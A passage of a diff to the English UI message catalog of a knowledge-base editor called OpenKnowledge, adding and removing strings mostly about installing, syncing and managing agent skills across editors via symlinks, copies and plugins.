],
"G_686w": ["Task List"],
- "G_efLf": ["Installed into"],
"G_hVTP": ["Enable Themes"],
"G_mWXb": ["Filter languages"],
"GamjcN": ["Template saved"],
"GemPfn": ["Failed to parse forward-links error response (HTTP ", ["status"], ")"],
"Gfr4fu": ["Server can't open documents"],
"GhjUB_": ["Reconnected"],
+ "GidGkh": ["Update from source"],
"GkYV_4": ["Renamed ", ["0"], " → ", ["1"]],
"Gp_twO": ["Local path"],
"GsBUCk": ["Loading settings"],
@@ -981,15 +1064,22 @@
"H3oH0g": ["Redo"],
"H6nKok": ["Show in File Manager"],
"H86f9p": ["Collapse"],
+ "HAvHev": ["Auto-update off for \"", ["name"], "\""],
"HAvRAI": [["skillCount", "plural", { "one": ["skill"], "other": ["skills"] }]],
"HCn0Ay": ["Toggle strikethrough formatting."],
"HFqQui": ["Hide queued comments"],
"HGNCsl": ["Connection lost — keep this tab open, your edits will sync when reconnected"],
"HIb0vl": ["Network error — please try again"],
+ "HKH-W-": ["Data"],
"HM56Bx": ["Creating..."],
"HPTPGr": ["Create a new spec file for my user story"],
"HSh8u_": ["Folders"],
"HTW0Zw": ["One more step: run <0>claude</0> in this project and approve OpenKnowledge once."],
+ "HbcQYf": [
+ "Replace the symlink at ",
+ ["display"],
+ " with an independent copy of the skill? Nothing else moves."
+ ],
"HdkSiO": ["New file"],
"HfI1dR": ["I already have it locally →"],
"Hhe73G": ["Couldn't queue that comment."],
@@ -1016,12 +1106,15 @@
"OpenKnowledge stores its configuration and internal files inside a newly created <0>.ok</0> directory in your project root folder."
],
"Hrz9NY": ["Wiki link"],
- "HyvSqq": ["Project Skill"],
+ "HzVAoz": [
+ "Move or rename this file inside the skill — the path stays under references/ or scripts/."
+ ],
"HzVv6g": ["Paste"],
"I-xnra": [["0"], " hex value"],
"I1gRhX": ["Failed to rename"],
"I5685_": ["Try a prompt"],
"I5AfhE": ["Sync status unavailable — server unreachable."],
+ "I6gXOa": ["Path"],
"I7Exsw": ["Follow us on X"],
"I7y_vn": ["Re-run the project audit"],
"IA1wNb": ["The Claude Desktop App didn't open the file. Is it installed? (", ["msg"], ")"],
@@ -1031,6 +1124,7 @@
"IFezUv": ["The audit could not be completed. Try again."],
"IInnZo": ["Conflict"],
"IKoTAC": ["Keep disabled"],
+ "IO8REi": ["Couldn't open \"", ["name"], "\": ", ["0"]],
"IQPyrD": ["Missing page — click to create"],
"IQgeSn": ["Failed to save the schema field"],
"IRv9cH": ["Cloned ", ["repoName"], "."],
@@ -1053,6 +1147,7 @@
"IrC12v": ["Application"],
"IreQBq": ["Repository"],
"It9ARY": ["Toggle the right document panel."],
+ "It9oAP": ["The ", ["editor"], " version is now the source"],
"ItxGi3": ["Attachments must total under 3 MB."],
"Ix0K8o": ["Hide external URL nodes"],
"IxHMdF": ["Couldn't delete that comment."],
@@ -1064,9 +1159,11 @@
"J6N5MX": ["Couldn't construct the share URL. Try Done and re-share."],
"J6mxC1": ["A network problem or GitHub outage interrupted the clone."],
"J7nMqi": ["Uninstall OpenKnowledge"],
+ "J86siq": ["Install from ", ["plugin"]],
"JCxGEX": [
"No disconnected pages. Pages appear here only when they have no incoming and no outgoing graph edges."
],
+ "JDHcCM": ["Loading popular skills"],
"JE21eh": ["Symlink to ", ["targetPath"]],
"JG_8KT": ["Couldn't pull from GitHub. Check your connection and sign-in, then retry."],
"JHf6qZ": ["[email protected]"],
@@ -1098,19 +1195,23 @@
"K0N7zS": ["Config sharing status read failed"],
"K1ckLX": ["Failed to create folder"],
"K2v7QF": ["Couldn't share skills"],
+ "K4G55s": ["Checking source"],
"K6MQQk": ["Sync is failing. See the sync status for details."],
"K6jjWB": [["packName"], " was already set up. Nothing to do."],
"K6jxcj": ["Add a key"],
+ "K7NMEc": [["uploadFolderName"], " — ", ["0"], " files"],
"K8-WWn": ["Move between table cells"],
"K9J00P": ["Clone failed — connection error"],
"KDuPiY": ["Uploading ", ["fileName"]],
"KDw4GX": ["Try again"],
+ "KFd4xz": ["absent"],
"KH5bQi": [
"Using the <0>OK_EMBEDDINGS_API_KEY</0> environment variable (managed outside OpenKnowledge)."
],
"KIIamL": [
"OpenKnowledge will create commits and push them to your remote automatically. If you do not want automatic commits in your git history, you should not enable auto-sync."
],
+ "KN5RGc": ["Built-in (read-only)"],
"KOZud0": [
"Build a competitor research knowledge base. Start with an overview page, then add cross-linked pages for each competitor, their products and pricing, and the sources behind every claim."
],
@@ -1140,7 +1241,6 @@
"KpOJFY": ["Enable external link previews"],
"Kr3VPS": ["Codex will still ask until you run \"ok init\" in a terminal for this project."],
"KsAPaB": ["This branch is checked out in:"],
- "KszKI_": ["Skill level"],
"KtACeE": ["Default: <0>", ["0"], "</0>"],
"KujtjC": ["Find"],
"L-rMC9": ["Reset to default"],
@@ -1151,6 +1251,7 @@
"L6Hhh6": ["(root)"],
"L8fKuc": ["Run this in your terminal"],
"L9Y9Om": ["Top linked pages"],
+ "LBv_TR": ["Convert locations to symlinks"],
"LBwUR6": ["Branch switch timed out — try opening the ", ["targetNoun"], " manually."],
"LCUy_N": ["Session ended"],
"LDuM35": ["Replace current match from field"],
@@ -1176,6 +1277,7 @@
"LXdWeS": ["Medium section heading."],
"LXfNU-": ["Navigation and suggestions"],
"LYufDw": ["Failed to enable semantic search — ", ["detail"]],
+ "Lbl6KA": ["Couldn't install from ", ["0"], ": ", ["1"]],
"LbmLyU": ["Can't safely edit this tool's config"],
"Lcehxn": ["Save resolution"],
"LdABLa": ["Could not open ", ["target"], ". Try opening it manually."],
@@ -1227,6 +1329,7 @@
"M7SqjM": ["Reopen"],
"M92_0q": ["Close comment"],
"M9597s": ["Preparing share URL..."],
+ "MBKkUy": ["skills.sh is unavailable; showing GitHub results (no install ranking)."],
"MBe6TE": ["The quoted text is no longer in the document — the agent will be told."],
"MCjC9A": ["Delete ", ["deleteDescriptorLabel"]],
"MDBJwN": ["Hard to use"],
@@ -1237,16 +1340,26 @@
],
"MHrjPM": ["Title"],
"MI6Z0f": ["Pick an emoji to insert at the cursor."],
+ "MIF36T": ["Couldn't resolve the fork: ", ["0"]],
"MJqRO6": ["Your report is being sent."],
"MJuO1q": ["Context window:"],
"MKEPCY": ["Follow"],
+ "MQ5LOx": [
+ "Turn ",
+ ["display"],
+ " back into a real directory holding a per-skill symlink for each skill it currently sees — nothing stops working, and each skill's menu manages it from there."
+ ],
"MQIM_Y": ["Couldn't copy. Select the URL above to copy it manually."],
"MRZxAn": ["Edited"],
+ "MS8lMS": [
+ "A symlink is a pointer to the source folder rather than a folder of its own. Every location reads the exact same bytes, so nothing can drift, and a location stops working if the source is deleted."
+ ],
"MTs6g3": ["Couldn't reconnect after server restart"],
"MUBR8r": ["Rename succeeded but the tabstrip may be out of date — refresh to resync"],
"MUrVEo": ["No recent projects."],
"MV-Dkb": ["Found ", ["countDisplay"], " markdown files"],
"MVxpbf": ["Find and replace"],
+ "MXSt4t": ["Created ", ["0"]],
"MZSBsh": [
"No templates yet. Add one to give new docs in this folder a ready-made starting point."
],
@@ -1256,7 +1369,6 @@
"Mh_4hd": ["Previous tab"],
"Mj8R8K": ["Couldn't install skill: ", ["0"]],
"MmDDWK": ["Recently opened"],
- "MmqnGI": ["No global skills yet."],
"Mnavhe": [["propPanelDescriptorLabel"], " Properties"],
"MqQoV-": ["Describe what you want to build, start a blank file, or scaffold from a template."],
"MqsbfN": ["Turn on external link previews?"],
@@ -1265,13 +1377,6 @@
"My0wYT": [
"When you hover an external link, its URL is sent to the destination site to fetch the page's preview metadata — one request per previewed link."
],
- "My9uXI": [
- "Updated \"",
- ["display"],
- "\" to ",
- ["0"],
- " — your previous version is in history if you need to restore it."
- ],
"MysZUL": ["Connecting to ", ["agentName"], "…"],
"N-IonL": [
"How unresolved wiki-links are reported in the Problems panel, audits, and agent tools."
@@ -1283,11 +1388,15 @@
"N2S1rs": ["Empty"],
"N2eHWq": ["Code Block"],
"N3_ozB": ["Hubs"],
+ "N40H-G": ["All"],
"N55YNr": [
"Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."
],
+ "NCmYhK": [
+ "Skills teach agents repeatable tasks. Author and manage them from the Skills section in the editor; each skill's install menu controls where it lives. These are this project's skill folders."
+ ],
+ "NErvOX": ["Saved to"],
"NEzPEh": ["Create a new branch, or check out an existing one, in its own window."],
- "NF_Wcg": ["Show skills section"],
"NIWAux": ["No docs registered under #", ["tagDocsName"], "."],
"NJyQi_": ["Branch ", ["shareBranch"], " no longer exists on the remote."],
"NKkZXl": ["Initialize and open"],
@@ -1332,6 +1441,7 @@
" from the project and removes its mapping from config.yml."
],
"NzluOx": ["(optional)"],
+ "O-m8q9": ["Browse all"],
"O0Z2Xr": ["Outgoing"],
"O2UpM1": ["Browse"],
"O3oNi5": ["Email"],
@@ -1344,7 +1454,6 @@
"ODGGlj": ["Folder name: ", ["detail"]],
"OEEQKT": ["Good"],
"OETysD": ["No hub pages yet. Hubs appear once pages accumulate inbound graph links."],
- "OEu_0l": ["Failed to load skills: ", ["0"]],
"OFBmkg": [
"Search files, commands, projects, and AI handoff actions. With text selected in the visual editor, this chord adds a link instead."
],
@@ -1354,6 +1463,7 @@
"OLBz-_": ["Mermaid diagram failed to render."],
"OLIKgw": ["Drag item ", ["0"], " to reorder"],
"ONPvOb": ["Loading agent activity"],
+ "ONWvwQ": ["Upload"],
"ONgEZF": ["Loading headings for ", ["pageTarget"]],
"OOIVJo": ["Uninstalled \"", ["0"], "\" from ", ["1"]],
"OPOiKn": ["Content rules"],
@@ -1363,7 +1473,6 @@
"OXb_Df": ["Settings content"],
"OXdGnd": ["Problems"],
"OYnx7O": ["Path cannot start with \"/\""],
- "OZJeTZ": ["Skill"],
"OZavHH": ["everything under ", ["0"], "/"],
"Oawo4U": ["The report service couldn't be reached."],
"OcBurH": [
@@ -1410,20 +1519,23 @@
"PPFQ3o": ["Installed \"", ["0"], "\" into ", ["1"]],
"PQCdtv": ["\"", ["docName"], "\" doesn't exist."],
"PR9FSv": ["Move to the next visual-editor find result."],
+ "PRgIJh": ["Couldn't update ", ["subRoot"], ": ", ["0"]],
"PRnH8G": ["of ", ["0"]],
"PTb1Nx": ["Sync is paused. Turn it back on to resume."],
"PVUn_c": ["Open folder"],
"PVggyD": ["Frontmatter schemas"],
"PYmp-0": ["Import as template"],
+ "PZn2LP": ["Keep source"],
"PZtgO0": ["Opening worktree"],
"P_bX4O": ["How to set up"],
"Pck6eI": [
"Pick a built-in IDE palette. The dark IDE themes override the light/dark setting in Preferences."
],
"PdA9NZ": [["ahead"], " ahead"],
- "PdJZ5p": ["No skills yet."],
+ "Pg83C9": ["Uploaded \"", ["0"], "\"."],
"Pgu10b": ["Saved as <0>", ["slug"], ".md</0>"],
"PgzIpb": ["Move to the previous visual-editor find result."],
+ "PhIa-X": ["Replace these copies with symlinks to the source?"],
"PhLu69": [
"That endpoint can't be used. Enter an https:// URL — http:// is only allowed for localhost."
],
@@ -1432,6 +1544,7 @@
"PkeYXL": ["Expanded graph mode"],
"Pkw7J9": ["This folder is empty."],
"PlGC6r": ["the git exclude file isn't writable"],
+ "Pp0Vgd": ["Click to install in ", ["label"]],
"PpJy-V": ["The endpoint didn't respond in time."],
"PqYWiC": [
"Couldn't restart the server automatically. Try running `ok stop all` in a terminal, then reopen this project — or restart your computer if it persists."
@@ -1439,6 +1552,7 @@
"PrJYSN": ["This folder isn't on GitHub yet. The link won't work until it's pushed."],
"PrVaZo": ["Uninstall OpenKnowledge?"],
"PrhzDE": ["Pan up"],
+ "Q-DKvr": ["Install from ", ["source"]],
"Q1mtyd": ["Hide sidebar"],
"Q5fqMz": ["Connection error — try again"],
"Q6hhn8": ["Preferences"],
@@ -1446,13 +1560,20 @@
"Q7cNKe": ["Skills are now shared. Commit .ok/skills to share them with your team."],
"Q7xfEj": ["done"],
"Q8A-U_": ["Connected to"],
+ "QASTNu": [
+ "The ",
+ ["editor"],
+ " folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."
+ ],
"QAi7Q9": [
"Branch <0>",
["trimmed"],
"</0> already has a worktree — it'll open in its own window."
],
+ "QB-moX": ["Install it to your other editors (Claude Code, Cursor, Codex) to share it."],
"QDZbvN": [["diffDays"], "d ago"],
"QHCx0c": ["Bug report history"],
+ "QKgePK": ["Aligned ", ["editor"], " to the source (its bytes are backed up)"],
"QLgdT6": ["any doc named ", ["0"]],
"QM3SBZ": ["Plan (", ["done"], "/", ["0"], ")"],
"QOINDn": ["empty"],
@@ -1460,6 +1581,7 @@
"QQghPu": ["Install in Claude Desktop"],
"QR5SP1": ["created template"],
"QTsvh1": ["This agent needs you to sign in first — see the notice below."],
+ "QWdKwH": ["Move"],
"QYTOaN": ["You can change this later in <0>Settings → Sync</0>."],
"QYfQdv": [["displayName"], " CLI"],
"QcpeeE": ["Navigate to ", ["docName"]],
@@ -1507,11 +1629,11 @@
"We'll build <0>openknowledge.skill</0>, save it to <1>~/Downloads</1>, and open the Claude Desktop App for you."
],
"RO-yts": ["Failed to disable link previews — ", ["detail"]],
+ "RO9IbI": ["Revert failed: ", ["0"]],
"RQWuCs": ["Queue message"],
"RSqaSd": ["Project root"],
"RVZJWQ": ["Search projects..."],
"RXEbZy": ["In app"],
- "RXNu_r": ["Shared via git with everyone working on this project."],
"RY6Bq1": ["Open shared ", ["targetNoun"]],
"RZXTlY": ["Auto-fix (", ["count"], ")"],
"R_U_A4": ["Add file or folder pattern, e.g. guides/**/*"],
@@ -1530,12 +1652,12 @@
],
"Rj01Fz": ["Links"],
"RlCInP": ["Slash commands"],
- "RlLl3G": ["Actions for ", ["0"]],
"RmBY0A": ["No git remote"],
"RnrnTe": ["Already set up — ok is available in your terminal"],
"RoafuO": ["Send feedback"],
"RobAKV": ["Update the destination and optional section anchor."],
"Rq1vFD": ["Tree view options"],
+ "RqSvT0": ["Importing"],
"RrAIZx": ["What config sharing covers"],
"Rsdhj9": ["Configuration warnings"],
"Rx5ReQ": ["Rename ", ["keyName"]],
@@ -1564,6 +1686,7 @@
"SUOoXn": ["Failed to open project."],
"SVLPt5": [["formatted"], " GitHub stars"],
"SXCSQd": ["Copied path"],
+ "SXEdCq": ["Move to ", ["0"], "?"],
"SYfHmN": ["Unpin tab"],
"Sc1bKE": [
"Local collaboration data for \"",
@@ -1580,7 +1703,6 @@
"SkMZlS": ["Couldn't remove <0>", ["targetGitPath"], "</0>: ", ["removeGitError"]],
"Skr_7L": ["Search worktrees"],
"SlfejT": ["Error"],
- "Sq8lf2": ["Editors to install skills into"],
"SqIoy_": ["Auto-fix — no problems here have an automatic fix"],
"SrOuyg": ["Document panels"],
"SvBFYA": ["No recent projects"],
@@ -1615,8 +1737,11 @@
"Te6sK2": [
"Heads up: editing any rule or option here creates a <0>.markdownlint.json</0> file in your project to save your changes."
],
+ "TgZOXj": ["Choose folder"],
"ThmUrC": ["Could not finalize project setup. Try again."],
"Tjc1pH": ["Section <0>(optional heading anchor)</0>"],
+ "Tn5sik": ["Tells agents when to reach for this skill. You can edit it later."],
+ "Tq3pcs": ["Keep mine"],
"TsZmgr": ["The file on disk, and the id agents use."],
"TvY_XA": ["Documentation"],
"TwYboS": ["Navigate CodeMirror source search results or dismiss the search panel."],
@@ -1630,19 +1755,28 @@
"U4nTfu": ["Enable Follow"],
"U5Spo9": ["Content directory must be inside the project"],
"U6wmNc": ["Sync paused"],
- "U7HJ4y": ["Managed by OpenKnowledge (read-only)"],
"U88xbi": ["Failed to create the schema file"],
"U8CD-l": ["Copy full path, No workspace"],
"U9tm58": ["Hide problem indicators"],
"UBv8UK": ["Delete Permanently"],
"UDFrWm": ["Checking GitHub connection..."],
+ "UDb2YD": ["React"],
"UEdTEN": ["Orphaned"],
"UGeJuP": ["Allowed values (empty = any)"],
+ "UHwc0P": [
+ "This is a preview of ",
+ ["boldName"],
+ ", detected in ",
+ ["boldHarness"],
+ " at the ",
+ ["boldLevel"],
+ " level."
+ ],
"UL8A9w": ["Tag"],
- "UMrOy2": ["Skill \"", ["trimmedName"], "\" created"],
+ "UNwKSz": ["Auto-update on for \"", ["name"], "\""],
+ "UPWItY": ["A folder containing SKILL.md."],
"UPjaXD": ["Couldn't duplicate \"", ["0"], "\": ", ["1"]],
"UQAp48": ["Search templates"],
- "UQMMvx": ["Moved \"", ["name"], "\" to ", ["0"]],
"URmyfc": ["Details"],
"UTNVyS": ["Select the full source document."],
"UTZ97u": ["Selection must be inside the project"],
@@ -1665,6 +1799,16 @@
["shareBranch"],
"</0> recently. Switch and update to open it."
],
+ "UceXfW": [
+ ["boldName"],
+ " is part of the <0>",
+ ["0"],
+ "</0> plugin",
+ ["pluginVersion"],
+ " — read-only. ",
+ ["boldHarness"],
+ " replaces plugin files on update."
+ ],
"Uci-Ph": ["Ordered List"],
"Ud0Pj9": [
"<0>Mirror source removed.</0> The doc <1>",
@@ -1676,6 +1820,7 @@
],
"UhpfxY": ["Pan left"],
"UkQGhd": ["Hide replace"],
+ "Uobeu9": ["Adds the skill to ", ["rootRel"], " — also read by ", ["0"]],
"Uoux8m": ["Include this comment in the next send"],
"Up2_7p": ["Copy full path"],
"UpCz01": ["This doc"],
@@ -1705,10 +1850,11 @@
"VFQXPl": [
"External link previews show a card with the site name, page title, and description when you hover a link."
],
- "VITWk5": ["Managed by OpenKnowledge"],
"VIiaFH": ["Couldn't read the queued comments: ", ["0"]],
"VIwCaD": ["Entry"],
+ "VJaBca": ["Choose a skill folder"],
"VM7H66": ["This file is binary and can't be shown as text."],
+ "VNNRfN": ["make source"],
"VNgKZz": ["Advanced settings"],
"VTulZj": ["Open in worktree"],
"VUijjF": ["Embed an image with optional alt text."],
@@ -1723,18 +1869,22 @@
"VbyRUy": ["Comments"],
"VcqWBy": ["Upload may have succeeded but the sidebar is out of date — refresh to resync"],
"VdXv4D": ["Clone from GitHub"],
+ "VeVIIk": ["Loading skills"],
"Vftef5": ["Common markdown issues — hard tabs, heading increments, list markers, and more."],
"Vlc75q": ["Keep file deleted"],
"VmJT51": ["Loading your reports"],
+ "VmXASo": ["(symlink)"],
"VsaI0G": [["folderCount", "plural", { "one": ["folder"], "other": ["folders"] }]],
"VuxVSP": ["Start source completion"],
"VvS_k_": ["Config sharing is now local-only."],
+ "VxLvKE": ["Revert to installed version"],
"VxO6wR": ["Delete selected files or folders"],
"VzGJRl": ["Add link"],
"W-ntoW": ["heading-slug"],
"W0i24j": ["Object"],
"W1SI2K": [["0", "plural", { "one": ["#", " warning"], "other": ["#", " warnings"] }]],
"W1qRuM": ["This document is already active in the editor. Use Open to collapse the graph."],
+ "W3Tsgy": ["Detected in ", ["0"]],
"W5A0Ly": ["An unexpected error occurred."],
"W7XJN4": [
"Can't nest projects. An OpenKnowledge project already exists at <0>",
@@ -1765,6 +1915,7 @@
],
"Waiy-j": ["The agent's persona, values, and voice."],
"WamGNs": ["Failed to load PDF: ", ["error"]],
+ "Wboy1j": ["~/.myteam/skills"],
"WcWS__": ["Download file"],
"Wcv-Zi": ["Make this knowledge base available as a Claude Skill."],
"We7h2I": ["📝 or assets/icon.png"],
@@ -1775,7 +1926,14 @@
"WhOsNE": ["Strikethrough"],
"Wi-VWy": ["Couldn't send the report"],
"WkTLN7": ["Show only markdown files"],
+ "WkyP2p": ["Skills section"],
"WmPbvm": ["Get product updates in your inbox."],
+ "WnsbUT": [
+ "This permanently removes ",
+ ["0"],
+ ". The plugin it was copied from is untouched — its read-only version will show up as detected again."
+ ],
+ "WpE38V": ["Found one skill: ", ["0"]],
"Wq6Wcm": ["Please enter a valid email address."],
"WqLq6M": ["Open with AI ", ["displayName"]],
"Wtw22s": ["Installing"],
@@ -1792,6 +1950,7 @@
"XAyxsa": ["Check out remote branch"],
"XDzAnp": ["Opens in a new tab"],
"XH30C4": ["document"],
+ "XIltnd": ["A skill named \"", ["trimmed"], "\" already exists here"],
"XJOV1Y": ["Activity"],
"XK5cbh": ["Traverse OpenKnowledge navigation history forward."],
"XNBGZw": ["Message not sent: ", ["0"]],
@@ -1799,10 +1958,12 @@
"XPqe3B": ["Create new tag #", ["tagValue"]],
"XQkJlB": ["No open conversations. Reopen a past one, or start a session with the + button."],
"XRuL0i": ["Create page"],
+ "XSb9HS": ["Discard local edits, restore the installed version"],
"XT-L4j": ["Turn on an agent to create with AI"],
"XU0OXn": ["Enable auto-sync"],
"XU5AOg": ["Input"],
"XV5sC0": ["Open worktree"],
+ "XVnIvs": ["Install skills"],
"XW18jo": ["Page headings response did not match success schema"],
"XYlJJT": ["Setting up"],
"XZkdtg": ["Switch branch"],
@@ -1812,6 +1973,7 @@
"XfA5xx": [["label"], " enabled"],
"XfzqjK": ["template \"", ["name"], "\""],
"Xg-Ntj": ["The token needs the repo and read:user scopes."],
+ "XgqUOy": ["No skill found at that source. Import will report why if you continue."],
"Xisk4u": ["Edited ", ["editedAgo"]],
"Xk0-VC": [
"Previews of links to other documents in this project are always on and read from the local index — nothing leaves your computer for those."
@@ -1824,7 +1986,7 @@
"XopE_I": ["Failed to parse backlinks error response (HTTP ", ["status"], ")"],
"Xp7Kq4": ["Another sync operation is in progress. Try again in a moment."],
"XpIZmv": ["Fenced code block with monospace text."],
- "XqNHcm": ["Couldn't update skill targets: ", ["0"]],
+ "XszXjc": ["Renamed to ", ["0"]],
"XtRoxT": ["Page ", ["pageNumber"]],
"XuQzrk": [
"Couldn't restart the server — another process owns it. Quit other OpenKnowledge windows for this project, then try again."
@@ -1843,9 +2005,11 @@
"</1> because it contains a <2>.git</2> folder (one .ok/ per git repo). <3>Content directory</3> defaults to <4>.</4> (the whole repo); type a sub-folder to narrow it."
],
"Y2tU6I": ["Delete ", ["0"]],
+ "Y5la_5": ["Install into"],
"Y6PKd1": ["Remove ", ["name"], " from recent projects"],
"Y6SK9K": ["Show source"],
"Y8ViJx": ["A newer version may have been deployed since this tab opened."],
+ "Y9c_nf": ["0/0"],
"YBt9YP": ["Beta"],
"YC6_wP": ["Edit ", ["keyName"]],
"YDL7N6": [
@@ -1864,6 +2028,7 @@
"YRavYS": [
"A personal color-theme picker — not shared with your project. When on, it appears under Plugins in the sidebar."
],
+ "YS9mSt": ["Updated \"", ["name"], "\" from ", ["0"]],
"YSFv5w": ["No git repository — config sharing does not apply here."],
"YTLmTM": ["Remove the parent <0>.git</0> folder"],
"YW7Q86": ["Search settings not yet loaded — try again in a moment"],
@@ -1875,6 +2040,7 @@
"Yi0VMG": ["Upload ", ["keyName"]],
"YjMLg2": ["Off — external links show only their URL. No requests leave this computer."],
"YjhKI5": ["Cloning..."],
+ "YjiZAs": ["changed outside"],
"YkvmF4": ["New session"],
"YlDuro": ["Fit height"],
"Yp-Hi_": ["Open settings"],
@@ -1882,7 +2048,9 @@
["behind", "plural", { "one": ["#", " commit behind"], "other": ["#", " commits behind"] }]
],
"YwPUUP": ["This pack is already set up here."],
+ "Yy90sM": ["Skill \"", ["name"], "\" created"],
"YyXtnN": ["Underline"],
+ "Yzs3QX": ["More skill actions"],
"Z1LF1M": ["Sharing a doc needs a GitHub repository. Create one for this project."],
"Z2M5XM": ["Reason: ", ["reason"], " (", ["osDetail"], ")"],
"Z3FXyt": ["Loading..."],
@@ -1900,7 +2068,8 @@
],
"Z8KDox": ["Enter a folder name (e.g. brain)."],
"Z8lGw6": ["Share"],
- "ZARuZJ": ["Couldn't load files"],
+ "Z8nach": ["Upload failed: ", ["0"]],
+ "ZBF9fn": ["Manage skill folders"],
"ZBt4rI": ["Instruction for the AI"],
"ZBxvV3": ["New Terminal"],
"ZDOq9A": ["What you share is sent to the OpenKnowledge team."],
@@ -1911,6 +2080,7 @@
"ZQLDTl": ["created folder"],
"ZU8VV_": ["Remove failed: ", ["error"]],
"ZVOhXM": ["Failed to update sync — ", ["detail"]],
+ "ZW2yR_": ["Add custom path"],
"ZW3mlR": ["Diff render mode"],
"ZWgr0b": ["In a subfolder"],
"ZWolSV": [
@@ -1957,12 +2127,14 @@
],
"_FLBbi": [["sizeText"], " · secrets redacted · crash dump not redacted"],
"_GRWOJ": ["Change the embeddings provider?"],
+ "_HgF9q": ["Sort by"],
"_IGfXZ": ["OpenKnowledge quit unexpectedly last time."],
"_IX_7x": ["Other"],
"_JOGC0": ["Send feedback…"],
"_LczaQ": ["Denied — ", ["optionName"]],
"_NWEid": ["Search schema files by path"],
"_NX6gG": ["Managing project AI tools is unavailable in this build."],
+ "_O7dJS": ["Different version here — click to compare and resolve"],
"_PACVa": ["Release notes"],
"_PBJRl": ["Add at least one letter or number."],
"_Pmhxt": ["… earlier output trimmed"],
@@ -1986,7 +2158,7 @@
"_eguJc": ["Uploading"],
"_gO_m8": ["Waiting for your approval"],
"_gkGSK": ["deleted template"],
- "_hPpdX": ["Skill renamed"],
+ "_mcDqU": [["count"], " skills at this source"],
"_pY_Vq": ["The repository was moved, renamed, or deleted."],
"_qD6mn": ["Pick the folder where you've cloned it."],
"_rP3HI": [["minutes"], "m ago"],
@@ -1995,6 +2167,7 @@
"_yB-24": ["everything under any ", ["0"], "/ folder"],
"a-cKXz": ["Select all source"],
"a3H_MR": ["Open and focus the Ask AI composer for the current editor selection."],
+ "a3LDKx": ["Security"],
"a45f2c": ["Glob patterns this schema applies to"],
"a4FRQv": ["Undo to this edit?"],
"a5Gha5": ["Local changes blocked the merge"],
@@ -2016,8 +2189,16 @@
"aOp3hw": ["Couldn't move to Trash"],
"aQD_86": ["Failed to update the embeddings provider — ", ["detail"]],
"aQyGJc": ["Something else"],
+ "aR4DgO": [
+ "This repo bundles ",
+ ["count"],
+ " skills, plus ",
+ ["0"],
+ ". Install any of them from the plugin."
+ ],
"aRI3Om": ["Close Window"],
"aWlJai": ["Starting sign-in flow"],
+ "a_2_uB": ["Couldn't create ", ["trimmed"], ": ", ["0"]],
"a_u4ck": ["Loading tags"],
"aaE55D": ["Clear ", ["keyName"]],
"aaI6cN": [
@@ -2026,6 +2207,7 @@
"aalx4E": ["Editing broken MDX source: ", ["reason"]],
"abiHje": ["Delete selected items"],
"adsMWO": ["Resolving deltas"],
+ "ah_ekO": ["\"", ["name"], "\" is already up to date"],
"aiArms": ["We couldn't clone this repository."],
"ajHi4O": [
"Auto-sync is paused — you don't have permission to push to this repo. Switch to Follow to keep receiving updates."
@@ -2042,6 +2224,7 @@
"az8lvo": ["Off"],
"b18t0_": ["Close diff"],
"b24kPi": ["Queue"],
+ "b2ezG_": ["Kept both — \"", ["0"], "\" is its own skill now"],
"b3Thhd": ["Upload failed"],
"b4AQFK": ["Open activity panel for ", ["tooltipName"], ", editing ", ["realCurrentDoc"]],
"b4VvP-": [
@@ -2075,6 +2258,7 @@
"bkQRMh": ["Paragraph"],
"blFttG": ["Search projects"],
"bmC18N": ["Clearing local collaboration data for \"", ["docName"], "\" before reconnecting."],
+ "bpytj4": ["Move to ", ["0"]],
"brCtGB": ["History unavailable"],
"buNXgr": ["Switch between the visual and source editors, keeping your place."],
"bultyE": [
@@ -2105,6 +2289,8 @@
"cHhH3i": ["a required git tool"],
"cIptmH": ["In the Claude Desktop App"],
"cKjLuT": ["(project + user)"],
+ "cLP0Lf": ["Remote skill source"],
+ "cMMb6H": ["Installed ", ["imported"], ", but ", ["failed"], " failed: ", ["failedNames"]],
"cN1Gcp": ["A worktree folder for ", ["shareBranch"], " already exists."],
"cOJyVj": ["Disable Themes"],
"cOSAfL": ["No repositories found on your GitHub account."],
@@ -2175,6 +2361,7 @@
"</1>, in its own worktree under <2>.ok/worktrees/</2>."
],
"dIYSqk": ["remote"],
+ "dJXrT9": ["New from scratch"],
"dJw2_7": ["Saved with the project for your team."],
"dMsx3p": ["Home page and navigation hub."],
"dNM58w": ["Claude Code (claude) isn't installed or on your PATH."],
@@ -2183,7 +2370,6 @@
"dPOFid": ["Show or hide terminal"],
"dQHSCs": ["Convert (delete original)"],
"dTaauv": ["Reason: ", ["reason"]],
- "dUCQo4": ["Renamed to \"", ["trimmed"], "\""],
"dUQ7_J": [
"Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords. This setting applies only to this computer."
],
@@ -2234,6 +2420,7 @@
"e4GHWP": ["Pull"],
"e4PbgC": ["Duplicate the file-tree item copied from the Files sidebar."],
"e60wew": ["Allowed element values for ", ["field"]],
+ "e6dMJT": ["From ", ["harnessLabel"]],
"e8L17t": ["A non-empty folder already exists at this path. Pick a different folder."],
"e8zRrb": ["Show Files"],
"e8zYa8": ["Could not open ", ["shareBranch"], " in a worktree. Try again."],
@@ -2245,21 +2432,21 @@
"eJitUk": ["Upload from computer"],
"eKThTQ": ["Failed to reorder"],
"eNQGRb": ["Inline LaTeX math rendered with KaTeX."],
+ "eNhWUl": ["A PR reviewer, a release-notes writer, a deploy checklist..."],
"ePK91l": ["Edit"],
"eQkgKV": ["Installed"],
"eQxm13": ["Failed to update attachment location — ", ["detail"]],
"eTL5y9": ["Show selection preview"],
"eTsJYJ": ["description"],
+ "eUFXS1": ["Sort skills"],
"eVPynQ": ["Open <0><1>", ["verificationUri"], "</1><2/></0> and enter this code:"],
"eaHUxx": ["Files toolbar"],
"eazHgv": [
"Git can't track this folder — it's empty or contains only ignored files. The link won't work until you add a tracked document."
],
"eiUA4k": [["count", "plural", { "one": ["#", " comment"], "other": ["#", " comments"] }]],
- "el312q": ["Install skills into"],
"emgiet": ["Authoritative content; mirrored verbatim everywhere it's referenced."],
"enPTnx": ["line ", ["displayLine"]],
- "eneWvv": ["Draft"],
"eoEUI3": ["Couldn't resolve that comment."],
"epuNYK": [
"Mark a block as the source of truth. Mirrors elsewhere update live as you edit it."
@@ -2276,13 +2463,19 @@
" can't continue this conversation — the transcript is kept, but the agent session is gone."
],
"f65AOQ": ["Start from"],
+ "f8fH8W": ["Design"],
